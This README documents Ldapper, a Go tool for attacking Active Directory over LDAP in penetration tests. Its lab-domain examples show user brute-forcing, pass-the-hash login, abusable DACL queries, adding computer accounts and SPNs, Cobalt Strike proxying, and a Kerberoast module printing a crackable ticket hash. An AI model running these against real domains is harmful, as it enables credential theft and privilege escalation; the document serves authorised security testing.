A GoLang tool to enumerate and abuse LDAP. Made simple.
Ldapper was created with for use in offensive security engagements for user enumeration, group enumeration, and more. Ldapper uses familiar "net" commands such as "net user" and "net group" to perform all its queries and its output follows the same conventions. Ldapper's user interface operates as a interactive shell, where the user can input commands until exited. All traffic goes over the LDAP(S) protocol with a singular bind to help you better blend into the network. Ldapper is proxy aware and supports NTLM authentication with a user's hash. Additionally, this tool can perform modification actions within LDAP.
Updated 03/08/2023: Now in Technicolor!
Ldapper has had a quality of life update to improve user experience. The biggest being that Ldapper has been upgraded with the Grumble Golang shell. This allows for a true shell experience including:
- tab completing
- command history with the arrow keys
- more descriptive shell prompts
- more robust help menu
- colors
The new shell will display your user, where you are connected, and whether you are connected with LDAP (389) or LDAPS (636). You can also now disconnect from the user session without closing the application.
❯ ./ldapper
__ ____ __ ____ ____ ____ ____
( ) ( \ / _\ ( _ \( _ \( __)( _ \
/ (_/\ ) D (/ \ ) __/ ) __/ ) _) ) /
\____/(____/\_/\_/(__) (__) (____)(__\_)
@SpaceManMitch96
@Synzack21
@mfdooom
Not Connected » connect -u administrator@overwatch.local -p 'Password123!' -d 10.10.10.101 -s
Bind successful, opening connection.
administrator@10.10.10.101:636(s) » disconnect
Disconnecting from LDAP server at 10.10.10.101...
Not Connected »
In addition, the option for timestamps has been added for those who need more verbose output for activities such as reporting.
Note: With the new shell, strings with multiple words now need to be enclosed in single quotes (ex. net group 'domain admins').
Please excuse our mess if there are any errors with the new shell. As always please let us know if you experience any!
- Ldapper
- LDAPS Support
- Authentication
- Query Modules
- Command Modules
- Logging
- Timestamps
- Proxy Support
- Special Thanks
Ldapper can be built and ran using the following commands inside of the repository folder:
$ go mod tidy - pull down all necessary dependencies
$ go build - build Ldapper
$ ./ldapper - run Ldapper
$ ./ldapper
__ ____ __ ____ ____ ____ ____
( ) ( \ / _\ ( _ \( _ \( __)( _ \
/ (_/\ ) D (/ \ ) __/ ) __/ ) _) ) /
\____/(____/\_/\_/(__) (__) (____)(__\_)
@SpaceManMitch96
@Synzack21
@mfdooom
Enumerate and abuse LDAP. Made simple
Commands:
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
Initialize/Deinitialize:
connect Connect to a LDAP server
disconnect Close the LDAP connection
Ldapper Commands:
addComputer Add a computer to the domain
roast Kerberoast a user with an SPN
spn Add or remove a SPN on a user account
Ldapper Enumeration:
brute Brute force users from a file. No authentication needed.
Ldapper Queries:
dacl Query the DACL of a target object
getspns Query all user accounts with an SPN
groups Query the groups for a target user
mquota Query the machine account quota of the domain
net Run net commands
passpol Query the password policy of the domain
Ldapper supports the ability to bind to LDAP using either unencrypted LDAP on port 389 (default) or encrypted LDAPS on port 636 with the flag -s. Some of the command modules, such as adding a domain computer require using LDAPS. LDAPS is always recommended for OPSEC purposes.
Ldapper can be used with a username and password. This is the most common method of authentication. The username format follows the below covention:
Not Connected » connect -u 'hanzo@overwatch.local' -P "Password123!" -d 10.10.10.101 -s
Ldapper can also authenticate with a user's NTLM hash. This method can be used with the -H flag.
Not Connected » connect -u 'hanzo@overwatch.local' -H OOGNKVJB2TRCYLD26H4DVPF3KBP0SG03 -d 10.10.10.101 -s
Ldapper can also authenticate using a CCache file specefied in the KRB5CCNAME enviroment variable with the -k flag. The variable needs to be set when Ldapper is initialized.
KRB5CCNAME=hanzo.ccache ./ldapper
Not Connected » ./connect -u 'hanzo@overwatch.local' -k -d 10.10.10.101 -s
The net module follows the same structure as the traditional Windows net module. Currently the following commands are supported:
net user <user>net group <group>net nestedGroups <group>
The command net user will information on a specified user in the domain, minus group memberships (see "Groups" module). The command net group will return a list of users that are members of the specified group. The net nestedGroups query acts similarly to the "net group" query, but searches recursively for all nested users and groups.
*Note that the output in the "group" queries will return the "(Group)" label to distinguish users and groups. This is not part of the group name. Additionally, any groups with spaces in them will be wrapped in single quotes.
administrator@10.10.10.101:636(s) » net user hanzo
User Information - hanzo:
-------------------------------------------------------------------------------
User Name: hanzo
Full Name: Hanzo Shimada
Comment: Test Description
User Account Control: Enabled, Password Doesn't Expire
(If Enabled, Check Last Lockout Time)
Last Lockout Time:
Account Expires: Never
Password Last Set: 02/21/2021 03:33:12 PM
Home Directory: C:\Users\Home\Hanzo
Last logon: 07/06/2022 03:40:39 PM
Mail: hanzo@overwatch.local
administrator@10.10.10.101:636(s) » net group domain admins
Primary Group Members
-------------------------------------------------------------------------------
NestedHighPriv (Group) jkaplan SQLService
Key Admins (Group) Administrator
administrator@10.10.10.101:636(s) » net nestedGroups domain admins
Primary Group Members
-------------------------------------------------------------------------------
CLAUDINE_CARSON MERRILL_HODGES JESSIE_MAXWELL
NestedHighPriv (Group) jkaplan SQLService
Key Admins (Group) Administrator
Nested Group Members
-------------------------------------------------------------------------------
pharah NestedDA DoubleNested (Group)
DoubleNestedDA RANDOLPH_WISE HORACE_MONTGOMERY
DELMAR_MERRILL THURMAN_HENDRICKS SILAS_PRUITT
NORMAND_MULLINS DORIS_PICKETT NEWTON_HALL
DEMETRIUS_BRENNAN MADELINE_SINGLETON SHERRY_RIVAS
* Note: nested group queries will likely result in an expensive LDAP query, these are LDAP searches that visit a large number of entries. The default threshold for an expensive search is 10,000 entries.
The groups module pulls the group memberships for an individual user. The syntax is as follows:
groups <targetUser>
administrator@10.10.10.101:636(s) » groups hanzo
Group Memberships - hanzo:
-------------------------------------------------------------------------------
GA-gor-distlist1 BE-1415ACUAT-distlist1 TestGroup2
TestGroup
The getspns module pulls all domain users with an SPN set. Syntax is as follows:
getspns
administrator@10.10.10.101:636(s) » getspns
SPN Username PasswordLastSet LastLogon Delegation
CIFS/AZRWAPPS1000002 LIDIA_ELLIOTT 2022-07-24 21:07:52 -0400 EDT 2022-07-24 21:08:17 -0400 EDT unconstrained
CIFS/AZRWLPT1000000 HOUSTON_MCBRIDE 2022-07-24 21:05:43 -0400 EDT 2022-07-24 21:06:15 -0400 EDT constrained
CIFS/ESMWLPT1000000 DOLLY_MCLEAN 2022-07-15 00:38:54 -0400 EDT <never>
This module queries for the machine account quota of the domain. Syntax is as follows:
mquota
administrator@10.10.10.101:636(s) » mquota
Machine Account Quota: 10
This module queries for the password policy for the domain. Syntax is as follows:
passpol
administrator@10.10.10.101:636(s) » passpol
Minimum Password Length: 8
Password History Length: 24
Lockout Threshold: 5
Lockout Duration: 30 minutes
Minimum Password Age: 1 day(s)
Maximum Password Age: 42 day(s)
Password Complexity: DOMAIN_PASSWORD_COMPLEX
This module queries for abusable ACES within a target object's DACL. Syntax is as follows:
dacl <target object>
administrator@10.10.10.101:636(s) » dacl administrator
GENERIC_ALL:
System (Local System)
GENERIC_WRITE:
Domain Admins
Enterprise Admins
Administrators
System (Local System)
WRITE_OWNER:
Domain Admins
Enterprise Admins
Administrators
System (Local System)
WRITE_DACL:
Domain Admins
Enterprise Admins
Administrators
System (Local System)
FORCE_CHANGE_PASSWORD:
ADD_MEMBER:
Ldapper also can brute force user enumeration through unauthenticated LDAP querries. Found users can also be exported to a file for further enumeration or testing.
Not Connected » brute -f users.txt -d 10.10.10.101 -t 10 -o FoundUsers.txt
[+] Found user: hanzo
[+] Found user: tracer
[+] Found user: sombra
[+] Found user: Administrator
$ cat FoundUsers.txt
hanzo
tracer
sombra
Administrator
This module allows a user with the appropriate permissions to add a domain computer account to LDAP with a randomized 15 character alphanumeric password. This can be paired with the default machine account quota of 10, where any user can add up to 10 machine accounts.
administrator@10.10.10.101:636(s) » addComputer ldapper$
Successfully created computer account "ldapper$" with password "mT4lyPn6fh3T8XH"
This module allows the addition of an arbitrary SPN to the target user. This requires write permissions over the target user account. Syntax is as follows:
spn add <targetUser> <spn value>spn delete <targetUser> <spn value>
administrator@10.10.10.101:636(s) » spn add hanzo blah/blah
Successfully added SPN: "blah/blah" for user "hanzo"
administrator@10.10.10.101:636(s) » spn delete hanzo blah/blah
Successfully deleted SPN: "blah/blah" for user "hanzo"
The roast module will request and print the service ticket encrypted with the users password. Syntax is as follows:
roast <encryption type (rc4 or aes)> <user>
administrator@10.10.10.101:636(s) » roast rc4 LIDIA_ELLIOT
$krb5tgs$23$*LIDIA_ELLIOT$RANGE.COM$LIDIA_ELLIOT*$31d99685e614b96bb9fab3a534f3a68d$8cfae8a06c390b037bc6c1e4200de88e2d4320b189c8e58dbfb3579b96db0b6afc6645c082d3067e9ba07259cc23f3b02e8c28e02cb90ae29edeedb91c7f02e7a7700d82dc0a0a69081357e37d0db75a224d5f6b4ac61f1bad707eac16c83dae44e0d85e941e90205d7d38f374cd6796b9733bc9e2d27a8588312cb08b0323c40a221b2204eb4eb1af75111ce8b75aa5ebb0b765e1a28f6103a54f2e72b8b6cebb73c0997cc2de4285f462e5d91d608ef628fee624e490e17441bb5b8d9a96e1680d92f151aa12296c3e4370b1ce6a1209b56b7ca1ee52022442db642595db9474c76169e2be5fd4d2e5af13caa61958e8466ac2c021a9ea61ca1857c4463ccfdd65eec6eef3f06c12178703d467e76246f3b6ae5f3248e93d4e58b8ce320a1f25e0bfa683ac014c047105d5030f2d1caea9243bd0ded2009ae6e79122e38e49a81747a93f98ba2557671d48da09fa6475e3d4373dee80f705a482aded93abeab77b337c47d904292dc0f08c89fcb009dd09e101a8a71c3060d9ebc2620b331454e971d51fa9fdab9b8b7f42cb606ac0ca6a85852912ba91266c9e1fcaf33b6cef49fccd490526509955dc5bf6744c9787271819e86f8cb18a999a85c37503d837b10a434ab1ae717f82fc139ba60989b70934a3a6eb62a2ad7dc3af7b70e120b45233059c4606227adc11a86be8cd688b7a2984a782c723f4fb018e6e068e3667a697c6bb761f1cc90cdee0ed51fd2904c89766105976e1ef2d33714f31dbd71ae2a56d674d9998196c160b8847236e77997ebff66d6bf8605c59d04949e1e16b6f60429db005f83bd8719a6e952dc56166d681053a7b7e1461cc3d6b408a21ee6cbe907adacc7650df0e5188d4e1279516f934e97e295e6501dfb20462e0d59edf42a391f7dbf39dcc791bc97c7d77bf66146df570cfccdd92694581232a823ba0174045f4b37343ceb888641c5ccf3f6e10e35957d07974f39fd7b0c5018eb5707f4556b1f73a47c0e081ecdca708d5da866cdaf8ca7131ff0fd9a6a58db6073918368bdc8b2635e3ee2e016136e2cea53fd1f717dd0a86dfdc050f6e46bbd2913c3df5f98fd54784bcee5d74ad8728d8dd1758a5034a326b6b28a2fc1e159e3fe4c0311af57d67c58099932b452921224c1d957626e1603bcd2bc77c8fce394dc0026f289398c9191092075f598055f3b2aeaef83b0b09f55a97bce331c5e4e2904bafbd84bb62d2bfcf9d817f29fe0c67c9bbae7c081c6ea22a20edac1db8588f9a42b636c59f7f6388d5607b243ed873fee7bff9f839c892bf7685fdb9f8fabd90fa3bfa14d13d8c4cc0dcf8865917ea1c4df3634922714bdca305ae6e3c87c34e2b949af7cf3cecd7b4545332088084dcdd3c221a9d75497fdca897
*Note: This does not use the LDAP(S) protocol.
Currently, Ldapper supports logging of stdout to a specified log file. This can be called using the -o flag. The log file will be created in the current directory. If the log file already exists, it will be appended to.
Not Connected » connect -u hanzo@overwatch.local -P "Password123!" -d 10.10.10.101 -s -o ldapper.log
Ldapper now supports the use of timestamps in the shell! This can be called using the -t flag. The connection will specify that timestamps are enabled and append it to the top of your results. Log files will also contain the timestamps when specified.
Not Connected » connect -u administrator@overwatch.local -p 'Password123!' -d 10.10.10.101 -s -t
03/08/2023 02:56:20
Bind successful, opening connection. Timestamping enabled.
administrator@10.10.10.101:636(s) » net user hanzo
03/08/2023 02:56:32
User Information - hanzo:
-------------------------------------------------------------------------------
User Name: hanzo
Full Name: Hanzo Shimada
Comment: Test Description
User Account Control: Enabled, Password Doesn't Expire
(If Enabled, Check Last Lockout Time)
Last Lockout Time:
Account Expires: Never
Password Last Set: 02/21/2021 03:33:12 PM
Home Directory: C:\Users\Home\Hanzo
Last logon: 07/06/2022 03:40:39 PM
Mail: hanzo@overwatch.local
Ldapper supports all SOCKS4, SOCKS4A, and SOCKS5 proxies. The proxy can be specified with the -4 (socks4), -a (socks4a), and -5 (socks5) flags respectively. Proxy functionality is compatible with C2 frameworks such as Cobalt Strike.
Not Connected » connect -u hanzo@overwatch.local -P "Password123!" -d 10.10.10.101 -4 127.0.0.1:6666 -s
Connecting with proxy: 127.0.0.1:6666
Bind successful, opening connection.
hanzo@10.10.10.101:636(s) »
Special thanks to Lars Karlslund for his work on LDAP Nom Nom which was used as inspiration to build out the User Enumeration functionality.